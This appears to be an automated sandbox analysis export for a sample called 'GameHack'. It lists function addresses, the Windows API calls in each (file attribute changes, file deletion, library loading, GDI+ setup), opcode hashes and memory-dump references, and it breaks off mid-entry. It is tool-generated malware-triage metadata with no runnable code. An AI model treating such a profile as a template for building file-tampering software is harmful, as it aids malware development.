Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 56aa47681f699747c57cbcfa3242a70c31a9f7dbde423d315108fd281bd3590a
Instruction ID: 483c11838e70b1b389347d35da42cde0821c71265d95777a0b937c6fe87632c2
Opcode Fuzzy Hash: 56aa47681f699747c57cbcfa3242a70c31a9f7dbde423d315108fd281bd3590a
Instruction Fuzzy Hash: 9CE09B32A1114DABBF05CEA59C044FB739DEBC43187105179A807E3202F675DD418660

Function 00EDA444 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00EDA27A,?,?,?,00EDA113,?,00000001,00000000,?,?), ref: 00EDA458
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00EDA27A,?,?,?,00EDA113,?,00000001,00000000,?,?), ref: 00EDA489

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 655f314a5a3fef07c8f008367547477e4b79901591495c1f06557c68dd5b5eff
Instruction ID: 7ebe0a7dd8dcbbaff0c28e2308d7aad43fb07bea37ba6fad62a1eb3f30958d62
Opcode Fuzzy Hash: 655f314a5a3fef07c8f008367547477e4b79901591495c1f06557c68dd5b5eff
Instruction Fuzzy Hash: D7F0A73124120DBBDF115F60DC05FDA375CFB04385F088065BC4896261DB71CAA5AA50

Function 00EED573 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00EED5A1
SetDlgItemTextW.USER32(00000065,?), ref: 00EED5B8

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 53dee49320a1078c090962e607654f483e11167c402698c32123ab0657407618
Instruction ID: 682be06af4af3857ad4cff2e24d182372526c95983320243fc9bc6479deed988
Opcode Fuzzy Hash: 53dee49320a1078c090962e607654f483e11167c402698c32123ab0657407618
Instruction Fuzzy Hash: 8DF0EC7150438C7BEB11EB719C06FE9379DD704745F041556B600731A1DE716A615B62

Function 00EDA12D Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,00ED984C,?,?,00ED9688,?,?,?,?,00F01FA1,000000FF), ref: 00EDA13E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,00ED984C,?,?,00ED9688,?,?,?,?,00F01FA1,000000FF), ref: 00EDA16C

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: fb0f1e8967dd2aff292fedc85b606b861d7a615f54aec1efcf15e14ae2af0bfd
Instruction ID: 2411633df085252dc702c934cefb81452505493a8ff449c8f5cc87890319aa45
Opcode Fuzzy Hash: fb0f1e8967dd2aff292fedc85b606b861d7a615f54aec1efcf15e14ae2af0bfd
Instruction Fuzzy Hash: F4E0927564220DABDB11AF60DC41FE9779CFB08385F485076B888E3260DB61DE95AA90

Function 00EEA39D Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00F01FA1,000000FF), ref: 00EEA3D1
CoUninitialize.COMBASE(?,?,?,?,00F01FA1,000000FF), ref: 00EEA3D6

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 15c4f61ece680c72279903ac5fb2e0f612d0c45c117f8160d1bd0ae6027a59cb
Instruction ID: b3608e4a450a77d514acef19f955c4fab6feb21698a5b422ed150ee3c2c94215
Opcode Fuzzy Hash: 15c4f61ece680c72279903ac5fb2e0f612d0c45c117f8160d1bd0ae6027a59cb
Instruction Fuzzy Hash: E6F0ED32A08658EFC700EF4CDD01B09FBADFB88B20F00436AF409837A0CB34A800DA81

Function 00EDA194 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00EDA189,?,00ED76B2,?,?,?,?), ref: 00EDA1A5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00EDA189,?,00ED76B2,?,?,?,?), ref: 00EDA1D1

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c32cd1aebafe45f04694a9abdea5209c2c155211e3c9aceb54dc69f0e376c866
Instruction ID: 37e02b0a71123b0b823dc9d79efd7538fbd5af6803a340dd5f58adebfc93bbf4
Opcode Fuzzy Hash: c32cd1aebafe45f04694a9abdea5209c2c155211e3c9aceb54dc69f0e376c866
Instruction Fuzzy Hash: DCE06D7550112C9BDF20AA689C05BD9B79CEB083A5F0452A2BD94E3290DA70DE459AE0

Function 00EE0085 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00EE00A0
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00EDEB86,Crypt32.dll,00000000,00EDEC0A,?,?,00EDEBEC,?,?,?), ref: 00EE00C2

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 8197ac42ab50165d277bb602c0f5a025c5d550a50e338d1d0456c750e3a99985
Instruction ID: 1aa2444514ce06c0e434a96d0da356cd586458e00f7d1faa9f14668b0c8b739b
Opcode Fuzzy Hash: 8197ac42ab50165d277bb602c0f5a025c5d550a50e338d1d0456c750e3a99985
Instruction Fuzzy Hash: 94E0127690115CAADB219AA5AC05FD6B7ACFF09392F0404A6B948E3104DAB49A848BA0

Function 00EE9B0F Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00EE9B30
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00EE9B37

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 4525f37c2b0ef976fdeb32fe9fc2c08976144d68254a88074e70bfd45274065f
Instruction ID: eb5f3fee7e84354eac9a2dc574e4a5a47359802485038ee2fe462d5a7185f2fe
Opcode Fuzzy Hash: 4525f37c2b0ef976fdeb32fe9fc2c08976144d68254a88074e70bfd45274065f
Instruction Fuzzy Hash: 96E0ED7190121CEBCB20DF99E501699B7E8EB08321F10905BE995A3311E6B16E04AB95

Function 00EF215C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 00EF329A: try_get_function.LIBVCRUNTIME ref: 00EF32AF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00EF217A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00EF2185

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: afccfcc59e04a28da77d1cafdee620c36a80dc3176005179e12c8c47324bff6b
Instruction ID: 5cbad3863081aa1993fd2fbf6e23530a485024b5fed42b1ca005a461029610ee
Opcode Fuzzy Hash: afccfcc59e04a28da77d1cafdee620c36a80dc3176005179e12c8c47324bff6b
Instruction Fuzzy Hash: 9ED0A92520A30E247E0826B068420F82384A852BB83E03B8EE320BA0E1EF118204B01A

Function 00EEDC67 Relevance: 3.0, APIs: 2, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadLock.DELAYIMP ref: 00EEDC73
DloadProtectSection.DELAYIMP ref: 00EEDC8F

Part of subcall function 00EEDE67: DloadObtainSection.DELAYIMP ref: 00EEDE77

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: bc672ea53b99b26f8eb3e170cb3195d2dd53f192c11f34c5191659381159d886
Instruction ID: 3fff6dea4096d6e66ca69488043487899f13627a76722416262f7f74479ca705
Opcode Fuzzy Hash: bc672ea53b99b26f8eb3e170cb3195d2dd53f192c11f34c5191659381159d886
Instruction Fuzzy Hash: 80D0C9705082CC4AC211EB169D5A75D72B1B7047D9F643602A106F76A4DFE44480E606

Function 00ED12E6 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00ED12FB
ShowWindow.USER32(00000000), ref: 00ED1302

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 7e863e54004dacd7bb24c49ab950e5f94e09a0834ea27a9da87417ba87859e18
Instruction ID: 3b909c082d538ba616f2a0ecbdd465293a1d41e3409c5500210f047450c8e9f7
Opcode Fuzzy Hash: 7e863e54004dacd7bb24c49ab950e5f94e09a0834ea27a9da87417ba87859e18
Instruction Fuzzy Hash: 12C01232058208BECB412BB0ED09D2FBBAABBA4222F05C908B6A5C0060C238C010EB11

Function 00ED19A6 Relevance: 1.8, APIs: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED19AB

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 84d40d658977893bb116c4303a06f10178ee53bd0fe668cff28e815ca497582f
Instruction ID: c758ced28fc0a8a106bd47e2f16f18bca5b96ce9873b75edaca8d6ae7507a6de
Opcode Fuzzy Hash: 84d40d658977893bb116c4303a06f10178ee53bd0fe668cff28e815ca497582f
Instruction Fuzzy Hash: D3C19030A04254AFEF15CF68C494BA97BA5EF06314F1860FBDC45AB386DB319946CB61

Function 00ED3B3D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED3B42

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2b744c657bb33540fd932d38f1c5eb91f782cea72f7fee52ed689e5b470453cd
Instruction ID: 41cfe9ba615d5e0121f6760adbe61242a0784ea97d871988de378d043f2c64c7
Opcode Fuzzy Hash: 2b744c657bb33540fd932d38f1c5eb91f782cea72f7fee52ed689e5b470453cd
Instruction Fuzzy Hash: 6671CE71100B449EDB25DF30CC41AEBB7E9EF14301F44596FE5AB67242DA326A4ADF12

Function 00ED837F Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED8384

Part of subcall function 00ED1380: __EH_prolog.LIBCMT ref: 00ED1385
Part of subcall function 00ED1380: new.LIBCMT ref: 00ED13FE

Part of subcall function 00ED19A6: __EH_prolog.LIBCMT ref: 00ED19AB

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1c290975bcd00a2323d4d7f6105e13eacfb7bef737567c4fda561d5c8bc245d5
Instruction ID: 14f3ae089138688bd38d5ff0203eb024ef177c68ec7055d81eb8f34b4c0cf98a
Opcode Fuzzy Hash: 1c290975bcd00a2323d4d7f6105e13eacfb7bef737567c4fda561d5c8bc245d5
Instruction Fuzzy Hash: F741D2318406589ADB20DB60CD51BEA73A8EF10304F0450EBE59AB3293DF755ECADB50

Function 00ED1E00 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED1E05

Part of subcall function 00ED3B3D: __EH_prolog.LIBCMT ref: 00ED3B42

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 556f6aa515134a90792e6eb107bb72eb793a03a2a7355bc396142686a0cea3c8
Instruction ID: dd0f34dfb2e8b32725ece4c2bccf4f9ab0565868e9356af1636cb7aded3f21b9
Opcode Fuzzy Hash: 556f6aa515134a90792e6eb107bb72eb793a03a2a7355bc396142686a0cea3c8
Instruction Fuzzy Hash: 2D212472904248AECB15EFA9D9419EEFBF6FF58300B1011AEE845B7351CB325E11DB60

Function 00EEA7C3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00EEA7C8

Part of subcall function 00ED1380: __EH_prolog.LIBCMT ref: 00ED1385
Part of subcall function 00ED1380: new.LIBCMT ref: 00ED13FE

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 70cb377b2bb7fb191881b3aa4b0fff3bd378966d7eb6bed672d768373f0753d0
Instruction ID: 425cb6ff825096e18c250b0e3f208303906da2beeb760d7001968bb1d3303a63
Opcode Fuzzy Hash: 70cb377b2bb7fb191881b3aa4b0fff3bd378966d7eb6bed672d768373f0753d0
Instruction Fuzzy Hash: 19215A71C0428DAACB15DF95C9529EEBBF4EF19304F0414EEE809B7242DB356E069BA1

Function 00ED92E6 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED92EB

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 945da790822ba056aab63a82323d0dd8a72e7d1220a0d6a9b9aa19b37571c841
Instruction ID: 9daec5cdcd9486ff48b313e9ed186da0d4a3c73db95841bcb338374f4cc5f91a
Opcode Fuzzy Hash: 945da790822ba056aab63a82323d0dd8a72e7d1220a0d6a9b9aa19b37571c841
Instruction Fuzzy Hash: D3118E73A10529ABCF22AFA8CC419DEB776EF48750F055116F805B7392DA358D1287A0

Function 00EFBB8A Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00EF85A9: RtlAllocateHeap.NTDLL(00000008,00F03958,00000000,?,00EF905A,00000001,00000364,?,?,?,00EDD25E,?,00BB1600,00000063,00000004,00EDCFE0), ref: 00EF85EA

_free.LIBCMT ref: 00EFBBF6

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: aa7cfc08f8c271ce16935b528c62ef837d81ae20f42aba82ac1fb9d51323eae8
Instruction ID: a41e0b7e1888a3a459e07ef095405b67add4e149b4c218613f2e6e2c8e78e411
Opcode Fuzzy Hash: aa7cfc08f8c271ce16935b528c62ef837d81ae20f42aba82ac1fb9d51323eae8
Instruction Fuzzy Hash: 4D01F97320430D6BE3218F65D88596AFBEDFB85370F25052DE694A3280EB30A805C774

Function 00EDAA88 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00EDAA9A

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
